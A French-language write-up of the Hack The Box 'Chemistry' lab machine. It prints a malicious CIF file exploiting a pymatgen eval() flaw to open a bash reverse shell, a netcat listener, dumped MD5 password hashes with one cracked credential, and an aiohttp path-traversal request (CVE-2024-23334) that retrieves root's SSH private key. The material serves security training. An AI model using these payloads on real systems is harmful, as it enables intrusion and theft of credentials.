

# Writeup - Chemistry

Hamid Zenine

February 23, 2025

## Contents

<b>1</b>	<b>Introduction</b>	<b>2</b>
<b>2</b>	<b>Writeup</b>	<b>2</b>
2.1	Mise en place . . . . .	2
2.2	Énumération . . . . .	2
<b>3</b>	<b>Foothold (Obtention d'un accès initial)</b>	<b>4</b>
<b>4</b>	<b>Élévation de privilèges</b>	<b>8</b>

# 1 Introduction

Cette machine a été créée par *FisMatHack* et elle met en avant des vulnérabilités spécifiques liées à la mauvaise configuration de services web (injection de code).

## 2 Writeup

Dans cette section, je vais détailler les étapes nécessaires pour résoudre la machine de bout en bout. Chaque commande est présentée avec son résultat ou une capture d'écran pour guider le lecteur.

### 2.1 Mise en place

On commence par lancer la machine et se connecter au VPN de HTB, et rajouter l'adresse de la machine au fichier `/etc/hosts`

```
sudo openvpn --config $PATH_TO_OVPN_FILE --daemon
ping -c 1 $MACHINE_IP
echo "$MACHINE_IP chemistry.htb" | sudo tee -a /etc
/hosts
```

### 2.2 Énumération

Cette phase commence par un scan Nmap :

```
nmap -A -p- -oN nmap_initial_scan_tcp $MACHINE_IP
```

#### Explication de la commande:

La commande `nmap` est utilisée pour scanner les ports d'une machine cible et découvrir des informations sur les services qui y sont exécutés. Voici les options utilisées dans cette commande :

#### Options:

- `-A` : Active la détection avancée des versions des services, la détection du système d'exploitation, le traceroute, ainsi que les scripts Nmap couramment utilisés.
- `-p-` : Scanne tous les ports TCP (de 1 à 65535).
- `-oN nmap_initial_scan_tcp` : Enregistre les résultats du scan dans un fichier texte

### Objectif du scan:

Cette commande est utilisée pour obtenir une vue d'ensemble des ports ouverts sur la machine cible, ainsi que des informations détaillées sur les services qui y sont exécutés.

### Resultat du scan:

```
22/tcp    open    ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0
          .11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6
          f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c
          :2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a
          :26 (ED25519)
5000/tcp  open    http      Werkzeug httpd 3.0.3 (Python
          3.9.5)
|_http-title: Chemistry - Home
|_http-server-header: Werkzeug/3.0.3 Python/3.9.5
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:
              linux_kernel
```

On fait un tour sur le serveur web: <http://10.10.11.38:5000/>. On trouve que le site permet de visualiser des fichiers **CIF**. Après une petite recherche sur internet je me rend compte que c'est un format de fichier standard utilisé en cristallographie. Je m'inscris sur le site et j'essaye de charger un fichier basique.

Sa syntaxe ressemble a:

```
_cell_length_a 5.432
_cell_length_b 7.654
_atom_site_label C1
_atom_site_fract_x 0.125
```

Une seconde recherche me permet de trouver un possible vecteur d'attaque en injectant du code dans le fichier CIF, qui sera alors exécuté lors du parsing par la bibliothèque Python Pymatgen. Ainsi la lib (plus exactement la méthode `JonesFaithfulTransformation.from_transformations_tr()`) utilise la fonction `eval()`, cette fonction

### 3 Foothold (Obtention d'un accès initial)

J'essaye alors de mettre un payload (reverse shell bash généré sur [ce site](#)) dans le fichier exemple donnée sur le site.

Ça donne:

```
data_Example
_cell_length_a      10.00000
_cell_length_b      10.00000
_cell_length_c      10.00000
_cell_angle_alpha   90.00000
_cell_angle_beta    90.00000
_cell_angle_gamma   90.00000
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for
    d in ().__class__.__mro__[1].__getattribute__(
        *[(()).__class__.__mro__[1]]+["__sub" + "classes__"
        ]) () if d.__name__ == "BuiltinImporter"][0].
    load_module ("os").system ("/bin/bash -c 'sh -i
    >& /dev/tcp/$MY_IP/$CHOOSEN_PORT$ 0>&1'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
```

Je lance sur mon terminal netcat pour écouter une possible connexion Cette commande est souvent utilisée pour établir un serveur d'écoute sur une machine, par exemple, dans un contexte de capture de connexion réseau ou d'exploitation de vulnérabilité. Elle attend une connexion sur un port spécifique, et permet à l'utilisateur de recevoir des données ou d'interagir avec la machine cible.

```
nc -lvp $CHOOSEN_PORT$
```

**Explication de la commande:** Cette commande est souvent utilisée pour établir un serveur d'écoute sur une machine. Elle attend une connexion sur un port spécifique, et permet à l'utilisateur de recevoir des données et/ou d'interagir avec la machine cible.

**Options:**

- **-l** : Mode écoute (**Listen mode**). Cela signifie que **Netcat** attend une connexion entrante au lieu d'en établir une.

- `-v` : Mode verbeux (**Verbose mode**). Cette option affiche des informations détaillées sur les actions entreprises par **Netcat**, comme les connexions réussies ou échouées.
- `-n` : Pas de résolution DNS. Cette option indique à **Netcat** de ne pas tenter de résoudre les adresses en noms de domaine, mais d'utiliser directement les adresses IP.
- `-p` : Spécifie le port sur lequel **Netcat** écoute pour les connexions entrantes.

Je le charge sur le site et je clique sur view. Je reçois ainsi une connexion au serveur en tant que app. En fouillant un peu partout je trouve un fichier qui s'apparente a un base de données **instances/database.db**

```
(saumoneta@ThinkPad)-[~/Etudes_S2/HTB_writeups/Chemistry]
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.125] from (UNKNOWN) [10.10.11.38] 39256
sh: 0: can't access tty; job control turned off
$ id
uid=1001(app) gid=1001(app) groups=1001(app)
$ ls
app.py
B*D*A
b*G*
H*{F*Mf=#wf=!sf=
D*V*D*N
V*l$*n0A*FD*NA*D*FD*f
f*G*d
G*
G*$
HB*
H*
*****f*****
H*+t
instance
pwned
static
templates
uploads
$ ls instance
database.db
$
```

J'essaye de la récupérer sur mon pc pour faciliter l'analyse. Je décide alors d'ouvrir un serveur web dans instance pour pouvoir récupérer le fichier sur mon pc.

- `python3 -m http.server -d ./instance 9999` : Cette commande crée un serveur HTTP local avec Python, utilisant le module **http.server**. Le répertoire `./instance` est défini comme le répertoire racine du

serveur, ce qui signifie que le serveur servira les fichiers présents dans ce répertoire. Le serveur écoute sur le port 9999.

- `wget http://10.10.11.38:9999/database.db` : Cette commande télécharge le fichier `database.db` depuis un serveur HTTP à l'adresse `http://10.10.11.38:9999`, qui est le serveur lancé précédemment avec Python. Elle permet de récupérer ce fichier depuis la machine distante vers la machine locale.

Une fois le fichier sur mon pc, je l'analyse en le lançant avec `sqlite3 database.db`

Je trouve une table qui me paraît intéressante **user** car elle contient ce qui me paraît être des username avec leurs mdp hashés.

```
sqlite> .tables
structure user
sqlite> select * from user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
10|eusebio|6cad48078d0241cca9a7b322ecd073b3
11|gelacia|4af70c80b68267012ecdac9a7e916d18
12|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
13|axel|9347f9724ca083b17e39555c36fd9007
14|kristel|6896ba7b11a62cacffbdaded457c6d92
15|pwn|e4a25f7b052442a076b02ee9a1818d2e
16|n0tabdu11ah|37b4e2d82900d5e94b8da524fbeb33c0
17|1|c4ca4238a0b923820dcc509a6f75849b
18|3|eccbc87e4b5ce2fe28308fd9f2a7baf3
19|fff|343d9040a671c45832ee5381860e2996
20|su|353942263d1bedfbc06b7bfa78226253
21|test|81dc9bdb52d04dc20036dbd8313ed055
22|abcd|e2fc714c4727ee9395f324cd2e7f331f
23|123|202cb962ac59075b964b07152d234b70
24|zoro|e10adc3949ba59abbe56e057f20f883e
25|aziz|b85dc795ba17cb243ab156f8c52124e1
26|test1234|098f6bcd4621d373cade4e832627b4f6
27|hmm|202cb962ac59075b964b07152d234b70
28|212421|202cb962ac59075b964b07152d234b70
29|mario|de2f15d014d40b93578d255e6221fd60
30|sambo|70d75a49ff844a98a7ba18117515e66
31|zmk|54c598d239f448be4bbebb2b1ab24f7
32|hamid|4e4d6c332b6fe62a63afe56171fd3725
33|martin|925d7518fc597af0e43f5606f9a51512
34|ZAP AND 1=1 --laf2ee760f85277a5dbddd1b46c75ab1
```

Ça se confirme

```
sqlite> pragma table_info(user);
0|id|INTEGER|1||1
1|username|VARCHAR(150)|1||0
2|password|VARCHAR(150)|1||0
```

Hash	Type	Result
2861debaf8d99436a18ed6f75a252abf	Unknown	Not found.
197865e46b878d9e74a0346b6d59886a	Unknown	Not found.
63ed86ee9f624c7b14f1d4f43dc251a5	md5	unicorniosrosados
02fcf7cfc18adc37959fb21f86c6b467	Unknown	Not found.
3dec299e06f7ed187bac06bd3b670ab2	Unknown	Not found.

J'essaye alors de les donner a crackstation. Le 3eme a pu etre cracké  
J'ai alors des credentials: **rosa:unicorniosrosados**  
Je les essaye sur ssh et on recupere le user flag.

```

System information as of Wed 12 Feb 2025 11:30:16 PM UTC

System load: 0.15
Usage of /: 85.7% of 5.08GB
Memory usage: 36%
Swap usage: 0%
Processes: 283
Users logged in: 2
IPv4 address for eth0: 10.10.11.38
IPv6 address for eth0: dead:beef::250:56ff:fe94:751a

=> / is using 85.7% of 5.08GB

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

9 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Wed Feb 12 23:09:11 2025 from 10.10.14.253
rosa@chemistry:~$ id
uid=1000(rosa) gid=1000(rosa) groups=1000(rosa)
rosa@chemistry:~$ ls
exploit.sh  'GCOMV_PATH=.'  linpeas.sh  PwnKit
exp.sh      id_rsa          linpeas.sh.1  user.txt
rosa@chemistry:~$ cat user.txt
09f1da2a658a0f091ceedb1e3f1054d7
rosa@chemistry:~$

```

## 4 Élévation de privilèges

Après plusieurs essais je trouve enfin une piste: un port tcp ouvert.

```
netstat -pntuoa
```

### Options:

- **-p** : Affiche les PID et les noms des programmes qui utilisent les connexions réseau.
- **-n** : Affiche les adresses et les numéros de port sous forme numérique, sans tenter de résoudre les noms d'hôtes ou de services.
- **-t** : Affiche uniquement les connexions TCP.
- **-u** : Affiche uniquement les connexions UDP.
- **-o** : Affiche le temps d'attente
- **-a** : Affiche toutes les connexions et les sockets en écoute, y compris celles qui n'ont pas de connexion active.

```
(Not all processes could be identified, non-owned
process info
will not be shown, you would have to be root to see
it all.)
Active Internet connections (servers and established
)
Proto Recv-Q Send-Q Local Address           Foreign
Address             State         PID/Program name
Timer
tcp          0      0 0.0.0.0:5000
0.0.0.0:*           LISTEN        6327/bash
off (0.00/0/0)
```

En investiguant un peu plus, je me rends compte que le port execute aiohttp.

Je recherche ce que c'est sur internet et je trouve une vulnérabilité: **CVE-2024-23334** qui permet simplement avec *curl* de faire du LFI (local file inclusion)

```
curl -s --path-as-is http://$IP:$PORT/$DIR/$FILE
```

### Options:



```

rosa@chemistry:/dev/shm$ curl http://localhost:8080 --head
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5971
Date: Wed, 12 Feb 2025 23:45:43 GMT
Server: Python/3.9 aiohttp/3.9.1

rosa@chemistry:/dev/shm$

```

- `-s` : Mode silencieux. Cette option supprime la barre de progression et les messages d'erreur.
- `--path-as-is` : Cette option permet de ne pas modifier l'URL et de respecter exactement la structure du chemin dans la requête HTTP. Cela est particulièrement utile si l'URL contient des caractères spéciaux ou des éléments d'encodage qui ne doivent pas être modifiés.
- `http://$IP:$PORT/$DIR/$FILE` : C'est l'URL cible où la commande envoie la requête HTTP.

J'envoie une requête, et ça marche. je décide alors de voir si une clé ssh est mise en place. Réussite !

```

rosa@chemistry:/dev/shm$ curl -s --path-as-is http://localhost:8080/assets/../../../../root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXMkdjEAAAABG5vbmUAAAABbm9uZQAAAAAAAAABAAAAAwAAAdzc2gtcn
NhaAAAAwEAAQAAAEAsFbYzGxskgZ6Ym1LOUjsJu66WHI8Y2ZF0cM3G8Vjo+NHKK8P0hIU
UbnmTgaPeW4evLeehYFQleaC9u//vciBLNOWGqeg6Kjsq2LVRkAvwK2suJSTtVZ8qG1iv
j0w069QoWzHERARqmTzranVyAdTmiXlGqUyiy0I7GVYqhv/QC7jt6For4PMAjct0ED3Gk
HVJONbz2eav5aFJcOvsCG1aC93Le5R43Wgwo7kHPLfM5DjSDRqmBxZpaLpWk3HwCKYITbo
DFYs0MY0zyI0k5yLL1s685qJIYJHmin9HZBmDIwS7e2riTHhNbt2naHxd0Wk38PUTgXuV2
u0LjWP/TVPTkM5byav5bzhIwxhtdT02DWjqFQn2kaQ8xe9X+Ymrf2wK8C4ezAycvlf3Iv
ATj++xRpmmh9uR1hdS1XvD7gLEFqNbYo3Q/0hiMto1JFqgWugeHm715yDnB3A+og4SFzrE
vrLegA0wvNLDY6jJWnTqEmUDk9ru04Eq4ad1TYMbaAAAFiPikP5X4pD+VAAAAB3NzaC1yc2
EAAAQGBALBwZMxsBjIGemDNszLCbI1ouLh4vGNmRUHDNxfYzvjRyivD9ISFFG55kxmj3lu
Hry3noZ2BUJXmgvbv/73IgSzTlhqno0io7KtpVUZAL8CtrLiUk7VwfKhotb49MDuvUKFqx
xEWkapk862p1cmAHU5o15RqLMostCOxLWKob/0Au47ehaK+DzAI3E9BA9xpB1STjW89nmr
+WhSADr7AhtWgvdy3uUeN1oMK05Bz5Xz0Q40g0apgcWaWi6Vitx8AimCE26A32LDjGNM8i
NJOci5db0v0aISGCR5op/R2QZgyMEu3tq4kx4TW7dp2h8XdfpCD1E4F71dlDpY1j/01T0
5DOW8mr+W84SMYybXU8tNg1o6hUJ9pgkPMXvV/mJq39sCvAuHswMnL5X9yLwE4/vl66Zpo
fbkdR3UtV7w+4JRBajW2KN0PzoYjLaNSRaoFroHh5U9ecg5wdwPqIOEhc6xL6y3oADsLzZ
Q2BoyVp06hJLA5Pa7juBKuGndU2DgWAAAAMBAAEAAAGBAJikdMjv0IO06/xDeSw1nXWsgo
325Uw9yRgmBfwbv0yl7oD/GPjFAaXE/99+oA+DDURaxFSq0N6eqhA9xrLUBjR/agAL0u/D
p2SAB3rQM0ve6rZUlo/QL9Qv37KvkML5fRhDL7hRCwKupGjdrNvh9Hxc+wLlV4Too/D4xi
jIAKYCeU7zWTmOTld4EryBFTSxMFjZW4YRlSLITLrLIF9FzIsRlgj0/LTKNRHTmNK1URYJC
F09/UWuna1g7xniwpiU5icwm3Ru4nGtVQnrAMsZn10E3kPfjvN2DFV18+pmkbNu2Rky5mJ
XpfF5LCPi6p9nDbDRbF22stGpS35mKRXUjvXh1J1R1HQ5pns38TGPv9PIdom2QTPjdiev
dUmez3BwL7Z72z7mS7Gzxxz60Skml1aZBNV5ebayVwCZLTt36kKuoYvG1BhK9Ck6mBU
-----

```

Je l'utilise pour me connecter en ssh au root.

```

nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@10.10.11.38

```

On obtient ainsi l'accès et on a le rootflag.

```
Last login: Wed Feb 12 22:21:56 2025 from 10.10.15.109
root@chemistry:~# id
uid=0(root) gid=0(root) groups=0(root)
root@chemistry:~# ls
root.txt
root@chemistry:~# cat root.txt
91891cf75cee59b2faa5cc104e3fe9f4
root@chemistry:~#
```